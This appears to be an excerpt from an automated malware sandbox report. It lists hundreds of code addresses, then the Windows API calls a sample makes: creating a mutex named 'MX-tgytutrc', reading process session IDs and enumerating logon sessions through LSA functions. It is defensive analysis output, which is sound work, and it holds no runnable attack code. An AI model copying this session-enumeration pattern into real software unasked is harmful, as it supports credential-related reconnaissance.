0x0005f42d
0x0005f433
0x0005f43a
0x0005f443
0x0005f446
0x0005f44c
0x0005f450
0x0005f457
0x0005f462
0x0005f46c
0x0005f471
0x0005f474
0x0005f476
0x0005f479
0x0005f47e
0x0005f47e
0x0005f484
0x0005f495
0x0005f49a
0x0005f4a4
0x0005f4b1
0x0005f4c9
0x0005f4d7
0x0005f4e1
0x0005f4e5
0x0005f4ea
0x0005f4ed
0x0005f4ef
0x0005f4f2
0x0005f4f7
0x0005f4f7
0x0005f4ef
0x0005f500
0x0005f500
0x0005f505
0x0005f515
0x0005f51a
0x0005f51d
0x0005f527
0x0005f531
0x0005f537
0x0005f546
0x0005f54a
0x0005f54d
0x0005f575
0x0005f581
0x0005f585
0x0005f586
0x0005f54f
0x0005f559
0x0005f55e
0x0005f567
0x0005f56a
0x0005f570
0x0005f571
0x0005f572
0x0005f572
0x0005f58d
0x0005f598
0x0005f59c
0x0005f5a1
0x0005f5a5
0x0005f5ab
0x0005f5b1
0x0005f5b7
0x0005f5b7
0x0005f5bd
0x0005f5bf
0x00000000
0x00000000
0x0005f5c5
0x0005f5ca
0x0005f5cf
0x0005f5d2
0x0005f5dc
0x0005f5e6
0x0005f5ed
0x0005f5ef
0x0005f5f1
0x0005f5f1
0x0005f5f3
0x0005f5f5
0x0005f5fb
0x0005f5fb
0x0005f600
0x0005f60c
0x0005f610
0x0005f61b
0x0005f61f
0x0005f62a
0x0005f62e
0x0005f63b
0x0005f640
0x0005f646
0x0005f649
0x0005f64b
0x0005f653
0x0005f654
0x0005f66a
0x0005f679
0x0005f67d
0x0005f682
0x0005f688
0x0005f692
0x0005f69c
0x0005f69c
0x0005f6ac
0x0005f6b6
0x0005f6bb
0x0005f6c6
0x0005f6ca
0x0005f6cb
0x0005f6cc
0x0005f6d8
0x0005f6dd
0x0005f6e6
0x0005f6ec
0x0005f6f7
0x0005f6fe
0x0005f709
0x0005f714
0x0005f71f
0x0005f723
0x0005f728
0x0005f72e
0x0005f72e
0x0005f73c
0x0005f747
0x0005f757
0x0005f75c
0x0005f764
0x0005f769
0x0005f76f
0x0005f772
0x0005f774
0x0005f776
0x0005f778
0x0005f77e
0x0005f780
0x0005f782
0x0005f787
0x0005f78a
0x0005f78a
0x0005f798
0x0005f79f
0x0005f79f
0x0005f7a4
0x0005f7a8
0x0005f7af
0x00000000
0x0005f7b5
0x0005f7bb
0x0005f7c6
0x0005f7d1
0x0005f7d7
0x0005f7e1
0x0005f7e6
0x0005f7ea
0x0005f7f1
0x0005f800
0x0005f805
0x0005f80c
0x0005f816
0x0005f821
0x0005f821
0x0005f82c
0x0005f837
0x0005f83c
0x00000000
0x0005f83c
0x0005f7af
0x00000000
0x0005f86e
0x0005f86e
0x0005f874
0x0005f87a
0x0005f880
0x0005f880
0x0005f882
0x00000000
0x00000000
0x0005f886
0x0005f88b
0x0005f88b
0x0005f898
0x0005f89e
0x0005f8a3
0x00000000
0x0005f8a9
0x0005f8a9
0x0005f8b9
0x0005f8bf
0x0005f8c5
0x0005f8c9
0x0005f8cb
0x0005f8e0
0x0005f8e0
0x0005f8e0
0x0005f8ec
0x0005f8fc
0x0005f904
0x0005f906
0x0005f913
0x0005f917
0x0005f919
0x00000000
0x00000000
0x0005f92d
0x0005f936
0x0005f943
0x0005f94b
0x0005f951
0x0005f95e
0x0005f968
0x0005f96c
0x0005f976
0x0005f979
0x0005f97c
0x0005f982
0x0005f985
0x0005f992
0x0005f996
0x0005f998
0x0005f9b0
0x0005f9bc
0x0005f9c4
0x0005f9d7
0x0005f9dd
0x0005f9e3
0x0005f9f8
0x0005fa03
0x0005fa08
0x0005fa1f
0x0005fa2f
0x0005fa3f
0x0005fa47
0x0005fa49
0x0005fa55
0x0005fa62
0x0005fa6d
0x0005fa72
0x0005fa72
0x0005fa74
0x0005f99a
0x0005f9a5
0x0005f9a5
0x0005fa7a
0x0005fa82
0x0005fa85
0x0005fa89
0x0005faae
0x0005faae
0x0005fa8b
0x0005fa8b
0x0005fa91
0x0005fa91
0x0005fa94
0x0005fa9b
0x0005fa9d
0x0005fa96
0x0005fa96
0x0005fa96
0x0005fa9f
0x0005fa9f
0x0005faa5
0x0005faa7
0x00000000
0x0005faa9
0x0005faa9
0x0005faac
0x00000000
0x00000000
0x0005faac
0x0005faa7
0x0005fab0
0x0005fab2
0x0005fab8
0x0005fabf
0x0005fac5
0x0005fedf
0x0005fee5
0x0005fee5
0x0005fee7
0x00000000
0x00000000
0x0005feed
0x0005feef
0x0005fef2
0x0005ff19
0x00000000
0x0005fef4
0x0005fef4
0x0005fef7
0x0005fefa
0x0005fefc
0x0005ff02
0x0005ff06
0x0005ff09
0x0005ff0b
0x0005ff0b
0x0005ff0d
0x0005ff0f
0x0005ff0f
0x00000000
0x0005fefc
0x00000000
0x0005fef2
0x0005facb
0x0005facb
0x0005facd
0x0005facf
0x0005fad5
0x0005fad5
0x0005fad7
0x0005fada
0x00000000
0x00000000
0x0005fadc
0x0005fadf
0x0005fae1
0x00000000
0x00000000
0x0005fae3
0x00000000
0x0005fae1
0x0005fae5
0x0005fae9
0x0005faec
0x0005faee
0x0005faee
0x0005faf1
0x0005faf8
0x0005faf8
0x0005fafb
0x0005fafb
0x0005fb02
0x0005fd58
0x0005fd5f
0x0005fd72
0x0005fd7d
0x0005fd83
0x0005fd8c
0x0005fd92
0x0005fd96
0x0005fd9b
0x0005fd9d
0x0005fda2
0x0005fda4
0x0005fda9
0x0005fdb1
0x0005fdb1
0x0005fda9
0x0005fda2
0x0005fdb7
0x0005fdc2
0x0005fdc9
0x0005fdcf
0x0005fdda
0x0005fde4
0x0005fde9
0x0005fdec
0x0005fdee
0x0005fdf1
0x0005fdf6
0x0005fdf6
0x0005fdfc
0x0005fe0d
0x0005fe18
0x0005fe1f
0x0005fe29
0x0005fe37
0x0005fe45
0x0005fe50
0x0005fe5a
0x0005fe70
0x0005fe72
0x0005fe75
0x0005fe7b
0x0005fe7f
0x0005fe82
0x0005fe84
0x0005fe84
0x0005fe92
0x0005fe97
0x0005fe9a
0x0005fea0
0x0005fea5
0x00000000
0x0005fea5
0x0005fb08
0x0005fb08
0x0005fb0d
0x0005fb15
0x0005fb19
0x0005fb1f
0x0005fb23
0x0005fb26
0x0005fb29
0x0005fb31
0x0005fb37
0x0005fb41
0x0005fb4b
0x0005fb51
0x0005fb55
0x0005fb55
0x0005fb5b
0x0005fb5e
0x0005fb83
0x0005fb86
0x0005fb8b
0x0005fb94
0x0005fb9b
0x0005fb9c
0x0005fba7
0x0005fba8
0x0005fbb6
0x0005fbc1
0x0005fbc4
0x0005fbd0
0x0005fb60
0x0005fb60
0x0005fb63
0x0005fb69
0x0005fb73
0x0005fb73
0x0005fbdc
0x0005fbe7
0x0005fbf2
0x0005fbf6
0x0005fbf6
0x0005fbfe
0x0005fc11
0x0005fc1c
0x0005fc22
0x0005fc2b
0x0005fc31
0x0005fc35
0x0005fc3a
0x0005fc3c
0x0005fc41
0x0005fc43
0x0005fc48
0x0005fc50
0x0005fc50
0x0005fc48
0x0005fc41
0x0005fc56
0x0005fc61
0x0005fc68
0x0005fc6e
0x0005fc79
0x0005fc83
0x0005fc88
0x0005fc8b
0x0005fc8d
0x0005fc90
0x0005fc95
0x0005fc95
0x0005fc9b
0x0005fcac
0x0005fcb7
0x0005fcbe
0x0005fcc8
0x0005fcd6
0x0005fce4
0x0005fcef
0x0005fcf9
0x0005fd0f
0x0005fd11
0x0005fd14
0x0005fd1a
0x0005fd1e
0x0005fd21
0x0005fd23
0x0005fd23
0x0005fd31
0x0005fd36
0x0005fd39
0x0005fd3f
0x0005fd44
0x0005fea9
0x0005feae
0x0005feb3
0x0005feb6
0x0005feb8
0x0005febb
0x0005fec0
0x0005fec0
0x0005fec3
0x0005fec3
0x0005fc6e
0x0005fed5
0x0005fed5
0x0005fac5
0x00000000
0x0006048e
0x0006048e
0x00060492
0x00060499
0x0006049f
0x000604a5
0x000604ab
0x000604b1
0x000604b3
0x000604bd
0x000604bf
0x000604c5
0x000604c5
0x000604bf
0x000604b3
0x00000000
0x000604a5
0x0005ff24
0x0005ff2a
0x0005ff30
0x0005ff37
0x0005ff3d
0x0005ff45
0x0005ff4d
0x0005ff57
0x0005ff61
0x0005ff6e
0x0005ff79
0x0005ff7e
0x0005ff85
0x0005ffb1
0x0005ffb6
0x0005ffb6
0x0005ff87
0x0005ff89
0x0005ff92
0x0005ff99
0x0005ff9f
0x0005ff9f
0x0005ffb8
0x0005ffc1
0x0005ffc7
0x0005ffcb
0x0005ffd0
0x0005ffd2
0x0005ffd7
0x0005ffd9
0x0005ffde
0x0005ffe6
0x0005ffe6
0x0005ffde
0x0005ffd7
0x0005ffec
0x0005fff0
0x0005fff2
0x00060005
0x0006000a
0x00060012
0x0006001a
0x00060020
0x00060026
0x0006002b
0x0006002d
0x00060036
0x0006003b
0x00060041
0x00060047
0x00060056
0x00060056
0x00060062
0x0006006b
0x00060077
0x00060089
0x0006008e
0x00060049
0x00060049
0x0006004c
0x00000000
0x0006004e
0x0006004e
0x0006004e
0x0006004c
0x0006009e
0x000600a3
0x000600b1
0x000600b6
0x000600ba
0x000600cc
0x000600d1
0x000600d7
0x000600e0
0x000600e6
0x000600ea
0x000600ef
0x000600f1
0x000600f6
0x000600f8
0x000600fd
0x00060105
0x00060105
0x000600fd
0x000600f6
0x0006010b
0x00060121
0x00060139
0x00060146
0x00060154
0x00060162
0x0006016a
0x00060179
0x0006017e
0x00060188
0x0006018c
0x00060194
0x000601a2
0x000601a9
0x000601ac
0x000601b3
0x000601ba
0x000601c1
0x000601c5
0x000601ca
0x000601ce
0x000601d3
0x000601dd
0x000601e7
0x000601ee
0x000601f6
0x000601fe
0x00060208
0x00060212
0x0006021c
0x00060226
0x00060230
0x0006023a
0x00060244
0x0006024e
0x00060253
0x00060262
0x00060268
0x00060275
0x00060277
0x00060282
0x0006028c
0x00060296
0x000602a1
0x000602a8
0x000602b6
0x000602be
0x000602c7
0x000602cc
0x000602d6
0x000602da
0x000602e2
0x000602ee
0x000602f7
0x000602fa
0x00060302
0x00060306
0x00060312
0x00060316
0x0006031b
0x00060327
0x00060331
0x0006033b
0x00060342
0x0006034c
0x00060356
0x0006035b
0x00060365
0x0006037a
0x00060382
0x0006038f
0x000603a0
0x000603a5
0x000603a8
0x000603bc
0x000603cc
0x000603d2
0x000603d6
0x000603dc
0x000603de
0x000603e4
0x000603e4
0x000603e6
0x000603f0
0x000603f4
0x000603fa
0x00060400
0x00060402
0x00060408
0x0006040a
0x0006040f
0x0006040f
0x00060412
0x00060417
0x0006041d
0x00060420
0x0006042a
0x00060434
0x00060436
0x0006043c
0x0006043c
0x0006043e
0x0006044a
0x00060454
0x0006045e
0x00060461
0x0006046e
0x00060473
0x00060479
0x0006047b
0x00060481
0x00060481
0x0006047b
0x00060489
0x00060489
0x0005ff37
0x00000000
0x0005f8cd
0x0005f8cd
0x00000000
0x0005f8cd
0x0005ed90
0x0005ed9d
0x0005eda2
0x0005eda9
0x0005edb0
0x0005edb9
0x0005edbf
0x0005edc3
0x0005edc8
0x0005edca
0x0005edcf
0x0005edd1
0x0005edd6
0x0005edde
0x0005edde
0x0005edd6
0x0005edcf
0x0005ede4
0x0005ede8
0x0005edef
0x00000000
0x00000000
0x0005edef
0x00000000
0x0005f8a3
0x0005ed90
0x0005eb39
0x0005eb39
0x0005eb3f
0x00000000
0x0005eb45
0x0005eb4c
0x0005eb51
0x0005eb57
0x00000000
0x0005eb57
0x0005eb3f
0x00000000
0x0005eb37
0x00000000
0x0005e7a8
0x0005e7b3
0x0005e7ba
0x0005e7bc
0x0005e7c2
0x0005e7d8
0x0005e7d8
0x0005e7da
0x0005e7df
0x00000000
0x0005e7c4
0x0005e7c4
0x0005e7c7
0x0005e7cf
0x0005e7d2
0x00000000
0x00000000
0x00000000
0x00000000
0x0005e7d2
0x0005e7c2
0x0005e301
0x0005e301
0x0005e30d
0x0005e317
0x0005e31e
0x0005e328
0x0005e333
0x0005e33f
0x0005e344
0x0005e348
0x0005e34b
0x0005e351
0x0005e354
0x00000000
0x0005e356
0x0005e356
0x0005e35c
0x0005e363
0x0005e365
0x0005e36b
0x0005e381
0x0005e381
0x0005e383
0x0005e388
0x00000000
0x0005e36d
0x0005e36d
0x0005e370
0x0005e378
0x0005e37b
0x00060517
0x0006051c
0x0006051c
0x00060521
0x00060521
0x00060526
0x00060526
0x0006052b
0x0006052b
0x00060530
0x00060530
0x00060535
0x00060535
0x0006053a
0x0006053a
0x0006053f
0x0006053f
0x00060544
0x00060544
0x00060549
0x00060549
0x0006054e
0x0006054e
0x00060553
0x00060558
0x0006055e
0x0006056f
0x00060574
0x00060575
0x00060576
0x00060577
0x00060578
0x00060579
0x0006057a
0x0006057b
0x0006057c
0x0006057d
0x0006057e
0x0006057f
0x00060580
0x00060581
0x00060583
0x00060585
0x00060590
0x00060591
0x00060597
0x0006059c
0x0006059e
0x000605a1
0x000605a2
0x000605a3
0x000605a7
0x000605ad
0x000605b3
0x000605b5
0x000605bb
0x000605c2
0x000605c5
0x000605d0
0x000605d7
0x000605dc
0x000605df
0x000605e1
0x000605e4
0x000605e9
0x000605e9
0x000605ef
0x00060603
0x0006060e
0x0006061e
0x0006062c
0x00060636
0x0006063d
0x00060642
0x00060645
0x00060647
0x0006064a
0x0006064f
0x0006064f
0x00060652
0x00060652
0x0006065f
0x00060664
0x0006066b
0x00060671
0x00060677
0x0006067d
0x00060680
0x00060682
0x00060dae
0x00060dae
0x00060db5
0x00060db7
0x00060e13
0x00060e1b
0x00060e1d
0x00060e1d
0x00060e1f
0x00060e26
0x00060e31
0x00060e38
0x00060e3d
0x00060e40
0x00060e42
0x00060e45
0x00060e4a
0x00060e4a
0x00060e50
0x00060e64
0x00060e6f
0x00060e7f
0x00060e8d
0x00060e97
0x00060e9e
0x00060ea6
0x00060ea8
0x00060eab
0x00060eb0
0x00060ea8
0x00060eb6
0x00060ec3
0x00060ecd
0x00060db9
0x00060db9
0x00060dbe
0x00060dce
0x00060dd4
0x00060ddb
0x00060de8
0x00060dea
0x00060ded
0x00060df3
0x00060e09
0x00060e09
0x00060e0b
0x00060e10
0x00000000
0x00060df5
0x00060df5
0x00060df8
0x00060e00
0x00060e03
0x00000000
0x00000000
0x00000000
0x00000000
0x00060e03
0x00060df3
0x00060688
0x00060688
0x00060692
0x0006069c
0x000606a6
0x000606b0
0x000606b4
0x000606b9
0x000606c0
0x000606c4
0x000606cb
0x000606cd
0x000606d6
0x000606e1
0x000606e7
0x000606ee
0x000606f5
0x000606fc
0x00060704
0x00060707
0x0006070e
0x00060718
0x00060721
0x00060723
0x00060728
0x0006072c
0x0006072d
0x0006072e
0x0006073c
0x0006073f
0x00060749
0x00060751
0x00060756
0x00060759
0x0006075b
0x0006075e
0x00060780
0x00060781
0x00060784
0x00060760
0x00060762
0x00060764
0x00060767
0x0006076a
0x0006076c
0x00060776
0x00060776
0x0006077a
0x0006077a
0x0006078f
0x0006079a
0x0006079d
0x0006079f
0x000607ab
0x000607ab
0x000607a1
0x000607a1
0x000607a5
0x000607a9
0x00000000
0x00000000
0x000607a9
0x000607b5
0x000607ba
0x000607be
0x000607c9
0x000607d2
0x000607d9
0x000607e0
0x000607e6
0x000607e6
0x000607eb
0x000607ef
0x000607f3
0x00060a78
0x00060a78
0x00060a80
0x00060a80
0x00060a80
0x00060a82
0x00060a8f
0x00060a8f
0x00060a84
0x00060a86
0x00060a89
0x00000000
0x00060a8b
0x00060a8b
0x00060a8b
0x00060a89
0x00060a91
0x00060a93
0x00060d6e
0x00060d76
0x00060d7e
0x00060d82
0x00060d87
0x00000000
0x00060a99
0x00060a9f
0x00060aab
0x00060aae
0x00060ab3
0x00060ab7
0x00060abb
0x00060c33
0x00060c33
0x00060c36
0x00060c36
0x00060c36
0x00000000
0x00060ac1
0x00060ac1
0x00060ac7
0x00060aca
0x00060b1b
0x00060b1b
0x00060b1e
0x00060c2c
0x00000000
0x00060b24
0x00060b2a
0x00060b2d
0x00060b38
0x00060b41
0x00060b49
0x00060b4e
0x00060b51
0x00060b55
0x00060c3a
0x00060c3a
0x00000000
0x00060b5b
0x00060b61
0x00060b69
0x00060b71
0x00060b7d
0x00060b80
0x00060b87
0x00060b8e
0x00060b91
0x00060b98
0x00060b9c
0x00060b9f
0x00060ba5
0x00060ba7
0x00060ba9
0x00060bad
0x00060baf
0x00060bb1
0x00060bb1
0x00060bb6
0x00060bbc
0x00060bbe
0x00060bbe
0x00060bc5
0x00060bc9
0x00060bca
0x00060bd0
0x00060bd1
0x00060bd6
0x00060bd6
0x00060bd9
0x00060bdc
0x00060be2
0x00060bed
0x00060bf2
0x00060bf6
0x00060bf9
0x00060bfc
0x00060c3d
0x00060c3d
0x00060c47
0x00060c4c
0x00060c4d
0x00060c57
0x00060c5e
0x00060c68
0x00060c6d
0x00060c6f
0x00060d1b
0x00060d1b
0x00060d22
0x00060d26
0x00000000
0x00060c75
0x00060c75
0x00060c78
0x00060c7a
0x00000000
0x00000000
0x00060c7c
0x00060c7f
0x00060c89
0x00060c8c
0x00060c92
0x00060c9c
0x00060ca1
0x00060ca3
0x00060ca6
0x00060ca8
0x00060cb4
0x00060cb4
0x00060caa
0x00060caa
0x00060cae
0x00000000
0x00060cb0
0x00060cb0
0x00060cb0
0x00060cae
0x00060cb6
0x00060cba
0x00060cbc
0x00000000
0x00000000
0x00060cc2
0x00060cc2
0x00060cc5
0x00060cc7
0x00060cc9
0x00060cc9
0x00060cd2
0x00060cd5
0x00060cd5
0x00060cda
0x00060cde
0x00060ce6
0x00060ceb
0x00060cef
0x00060cf2
0x00060c75
0x00060c78
0x00060c7a
0x00000000
0x00000000
0x00000000
0x00060c7a
0x00060cfa
0x00060d01
0x00000000
0x00060d03
0x00060d03
0x00060d11
0x00060d16
0x00060d16
0x00000000
0x00060cbe
0x00060cbe
0x00000000
0x00060cbe
0x00060c75
0x00000000
0x00060bfe
0x00060bfe
0x00060c01
0x00060c02
0x00060c04
0x00060c0a
0x00060c20
0x00060c20
0x00060c22
0x00060c27
0x00000000
0x00060c0c
0x00060c0c
0x00060c0f
0x00060c17
0x00060c1a
0x00000000
0x00000000
0x00000000
0x00000000
0x00060c1a
0x00060c0a
0x00060bfc
0x00060b55
0x00060acc
0x00060ad2
0x00060ad5
0x00060ada
0x00060adc
0x00060ade
0x00060ade
0x00060ae1
0x00060ae7
0x00060aeb
0x00060af5
0x00060afa
0x00060afd
0x00060afd
0x00060b01
0x00060b08
0x00060b0d
0x00060b0f
0x00000000
0x00060b15
0x00060b15
0x00000000
0x00060b15
0x00060b0f
0x00060aca
0x00060abb
0x00000000
0x00060d2d
0x00060d2d
0x00060d32
0x00060d32
0x00060d3e
0x00060d4a
0x00060d51
0x00060d58
0x00060d5e
0x00060a78
0x00000000
0x00060a78
0x000607f9
0x000607f9
0x00060805
0x00060808
0x0006080b
0x0006080e
0x00060814
0x00060818
0x0006081f
0x000609e6
0x000609e6
0x000609ea
0x000609ed
0x000609f0
0x00060a1e
0x00060a24
0x00060a2c
0x00060a31
0x00060a35
0x00060a38
0x00060a3b
0x00000000
0x00060a41
0x00060a41
0x00060a44
0x00060a4b
0x00060a4d
0x00060a53
0x00060a69
0x00060a69
0x00060a6b
0x00060a70
0x00000000
0x00060a55
0x00060a55
0x00060a58
0x00060a60
0x00060a63
0x00000000
0x00000000
0x00000000
0x00000000
0x00060a63
0x00060a53
0x000609f2
0x000609f2
0x000609f5
0x000609f6
0x000609f8
0x000609fe
0x00060a14
0x00060a14
0x00060a16
0x00060a1b
0x00000000
0x00060a00
0x00060a00
0x00060a03
0x00060a0b
0x00060a0e
0x00000000
0x00000000
0x00000000
0x00000000
0x00060a0e
0x000609fe
0x00060825
0x0006082a
0x00060834
0x00060839
0x0006083c
0x0006083e
0x00060841
0x00060846
0x00060846
0x00060849
0x0006084c
0x0006085d
0x00060862
0x00060869
0x0006086c
0x00060873
0x0006087a
0x0006087e
0x00060884
0x00060886
0x00060888
0x0006088f
0x00060899
0x000608a2
0x000608a6
0x000608a7
0x000608a8
0x000608a9
0x000608ae
0x000608ae
0x000608ba
0x000608c1
0x000608c4
0x000608ce
0x000608d8
0x000608dd
0x000608e1
0x000608e4
0x000608e7
0x000608e9
0x000608ec
0x0006091a
0x00060920
0x00060927
0x0006092e
0x00060932
0x00060937
0x00060941
0x0006094d
0x0006095e
0x0006096f
0x00060972
0x00060975
0x00060982
0x0006098d
0x00060990
0x000609a1
0x000609a4
0x000609a7
0x000609b4
0x000609b9
0x000609c3
0x000609cd
0x000609d1
0x000609d6
0x000609d9
0x000609db
0x000609de
0x000609e3
0x000609e3
0x00000000
0x000608ee
0x000608ee
0x000608f1
0x000608f2
0x000608f4
0x000608fa
0x00060910
0x00060910
0x00060912
0x00060917
0x00000000
0x000608fc
0x000608fc
0x000608ff
0x00060907
0x0006090a
0x00060ece
0x00060ece
0x00060ed3
0x00060ed4
0x00060ed5
0x00060ed6
0x00060ed7
0x00060ed8
0x00060ed9
0x00060eda
0x00060edb
0x00060edc
0x00060edd
0x00060ede
0x00060edf
0x00060ee0
0x00060ee1
0x00060ee3
0x00060ee6
0x00060ee9
0x00060f13
0x00060f13
0x00060f1a
0x00060f21
0x00060f26
0x00060eeb
0x00060eeb
0x00060eee
0x00060eef
0x00060ef5
0x00060f09
0x00060f09
0x00060f0b
0x00000000
0x00060ef7
0x00060ef7
0x00060efa
0x00060f02
0x00060f05
0x00060f27
0x00060f2c
0x00060f2d
0x00060f2e
0x00060f2f
0x00060f30
0x00060f33
0x00060f34
0x00060f40
0x00060f45
0x00060f55
0x00060f07
0x00060f07
0x00000000
0x00060f07
0x00060f05
0x00060ef5
0x00000000
0x00000000
0x00000000
0x0006090a
0x000608fa
0x000608ec
0x0006081f
0x00000000
0x00060d8a
0x00060d90
0x00060d93
0x00060d99
0x00060d99
0x00060da2
0x00060da8
0x00000000
0x00060da8
0x00000000
0x00000000
0x00000000
0x0005e37b
0x0005e36b
0x0005e354
0x0005e2d4
0x0005e2e0
0x0005e2e6
0x0005f83f
0x0005f83f
0x0005f845
0x0005f847
0x0005f84a
0x0005f84a
0x0005f853
0x0005f860
0x0005f86d
0x0005f86d
0x0005dc5a
0x0005dc60
0x0005dc6a
0x0005dc6f
0x0005dc76
0x0005dc7c
0x0005dc82
0x0005dc84
0x0005dc8a
0x0005dc8a
0x0005dc90
0x0005e22c
0x0005e234
0x0005e241
0x0005e24e
0x0005dc96
0x0005dc9a
0x0005dc9f
0x0005dca4
0x0005dcab
0x0005dcb2
0x0005dcb8
0x0005dcbc
0x0005dcbc
0x0005dcb8
0x0005dcc5
0x0005dcdc
0x0005dcdf
0x0005dce5
0x0005dce8
0x0005dceb
0x0005dcee
0x0005dcf3
0x0005dcfa
0x0005dd00
0x0005dd2b
0x0005dd2d
0x0005dd3c
0x0005dd3c
0x0005dd2f
0x0005dd2f
0x0005dd30
0x0005dd35
0x0005dd38
0x0005dd38
0x00000000
0x00000000
0x00000000
0x00000000
0x0005dcf5
0x0005dcf5
0x0005dd02
0x0005dd02
0x0005dd05
0x0005dd07
0x0005dd0c
0x0005dd0f
0x0005dd10
0x0005dd15
0x0005dd18
0x0005dd1a
0x00000000
0x0005dd20
0x0005dd23
0x0005dd26
0x0005dd3e
0x0005dd45
0x0005dd50
0x0005dd55
0x0005dd58
0x00000000
0x0005dd58
0x0005dd1a
0x0005dcc7
0x0005dcc7
0x0005dcca
0x0005dcd1
0x0005dd5b
0x0005dd5b
0x0005dd60
0x0005dd67
0x0005dd6e
0x0005dd75
0x0005dd7c
0x0005dd83
0x0005dd86
0x0005dd8d
0x0005dd90
0x0005dd95
0x0005dd99
0x0005dd9e
0x0005dda7
0x0005ddab
0x0005ddb4
0x0005ddbd
0x0005ddc4
0x0005ddc5
0x0005ddc6
0x0005ddc7
0x0005ddcc
0x0005ddcc
0x0005ddcf
0x0005ddd3
0x0005ddd9
0x0005de07
0x0005de07
0x0005de0e
0x0005de15
0x0005de1f
0x0005de23
0x0005de2e
0x0005de32
0x0005de3c
0x0005de41
0x0005de45
0x0005de48
0x0005de50
0x0005decc
0x0005decc
0x0005ded7
0x0005dedb
0x0005dedc
0x0005dee4
0x0005dee5
0x0005def3
0x0005def8
0x0005defb
0x0005deff
0x0005df07
0x0005df14
0x0005df1f
0x0005df27
0x0005df2c
0x0005df30
0x0005df36
0x0005df6a
0x0005df6c
0x0005df70
0x0005df73
0x0005df7a
0x0005df81
0x0005df88
0x0005dfbf
0x0005dfbf
0x0005dfc7
0x0005e1d8
0x0005e1d8
0x0005e1dc
0x0005e1e2
0x0005e212
0x0005e218
0x0005e21b
0x00000000
0x0005e1e4
0x0005e1e4
0x0005e1e7
0x0005e1ee
0x0005e1f6
0x0005e208
0x0005e208
0x0005e20a
0x0005e20f
0x00000000
0x0005e1f8
0x0005e1f8
0x0005e1fb
0x0005e206
0x00000000
0x00000000
0x00000000
0x00000000
0x0005e206
0x0005e1f6
0x0005dfcd
0x0005dfdd
0x0005dfe0
0x0005dff1
0x0005dff5
0x0005dff9
0x0005e001
0x0005e006
0x0005e009
0x0005e014
0x0005e01f
0x0005e029
0x0005e02e
0x0005e031
0x0005e033
0x0005e036
0x0005e03b
0x0005e03b
0x0005e041
0x0005e052
0x0005e05d
0x0005e067
0x0005e076
0x0005e08a
0x0005e0a2
0x0005e0b4
0x0005e0c5
0x0005e0dc
0x0005e0e9
0x0005e0f7
0x0005e108
0x0005e10e
0x0005e11b
0x0005e120
0x0005e12a
0x0005e137
0x0005e13b
0x0005e140
0x0005e145
0x0005e148
0x0005e14d
0x0005e14d
0x0005e145
0x0005e150
0x0005e154
0x0005e15a
0x0005e188
0x0005e188
0x0005e18c
0x0005e192
0x0005e199
0x0005e1a0
0x0005e1a7
0x00000000
0x0005e1a9
0x0005e1a9
0x0005e1af
0x0005e1b0
0x0005e1b8
0x0005e1ce
0x0005e1ce
0x0005e1d0
0x0005e1d5
0x00000000
0x0005e1ba
0x0005e1ba
0x0005e1bd
0x0005e1c8
0x00000000
0x00000000
0x00000000
0x00000000
0x0005e1c8
0x0005e1b8
0x0005e15c
0x0005e15c
0x0005e15f
0x0005e160
0x0005e168
0x0005e17e
0x0005e17e
0x0005e180
0x0005e185
0x00000000
0x0005e16a
0x0005e16a
0x0005e16d
0x0005e178
0x00000000
0x00000000
0x00000000
0x00000000
0x0005e178
0x0005e168
0x0005e15a
0x0005df8a
0x0005df8a
0x0005df90
0x0005df97
0x0005df9f
0x0005dfb5
0x0005dfb5
0x0005dfb7
0x0005dfbc
0x00000000
0x0005dfa1
0x0005dfa1
0x0005dfa4
0x0005dfaf
0x00000000
0x00000000
0x00000000
0x00000000
0x0005dfaf
0x0005df9f
0x0005df38
0x0005df38
0x0005df3b
0x0005df42
0x0005df4a
0x0005df60
0x0005df60
0x0005df62
0x0005df67
0x00000000
0x0005df4c
0x0005df4c
0x0005df4f
0x0005df5a
0x00000000
0x00000000
0x00000000
0x00000000
0x0005df5a
0x0005df4a
0x0005de52
0x0005de58
0x0005de59
0x0005de69
0x0005de6f
0x0005de76
0x0005de83
0x0005de85
0x0005de8e
0x0005dea4
0x0005dea4
0x0005dea6
0x0005deab
0x0005deae
0x0005deb8
0x0005dec2
0x00000000
0x0005de90
0x0005de90
0x0005de93
0x0005de9e
0x00000000
0x00000000
0x00000000
0x00000000
0x0005de9e
0x0005de8e
0x0005dddb
0x0005dddb
0x0005ddde
0x0005dddf
0x0005dde7
0x0005ddfd
0x0005ddfd
0x0005ddff
0x0005de04
0x00000000
0x0005dde9
0x0005dde9
0x0005ddec
0x0005ddf7
0x00000000
0x00000000
0x00000000
0x00000000
0x0005ddf7
0x0005dde7
0x0005ddd9
0x00000000
0x0005dcc5
0x0005dc8a
0x00000000

APIs

Part of subcall function 0010F5C4: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F62E
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F654

__Xtime_get_ticks.LIBCPMT ref: 0005E2AF

Part of subcall function 000D708E: ___crtFlsFree.LIBCPMT ref: 000D7097

CreateMutexA.KERNEL32(00000000,00000000,MX-tgytutrc,D529E887,00000000), ref: 0005E2BD
GetCurrentProcessId.KERNEL32(?), ref: 0005E392
ProcessIdToSessionId.KERNEL32(00000000), ref: 0005E399

Part of subcall function 000958D0: LsaEnumerateLogonSessions.SECUR32(00131509,?,D529E887,00000000), ref: 0009593C
Part of subcall function 000958D0: LsaGetLogonSessionData.SECUR32(00000000,000000FF), ref: 00095965
Part of subcall function 000958D0: LsaFreeReturnBuffer.SECUR32(00000000,?,-00000028), ref: 00095993
Part of subcall function 000958D0: LsaFreeReturnBuffer.SECUR32(00000000), ref: 0009599E

Strings

MX-tgytutrc, xrefs: 0005E2B4

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Free$BufferLogonProcessReturnSession_free$CreateCurrentDataEnumerateMutexSessionsXtime_get_ticks___crt_abort
String ID: MX-tgytutrc
API String ID: 1310420957-804850431
Opcode ID: 5366bab6abb5fa5ec607a162e5e111ed80988640aa290f7e46fa22d5d1b74159
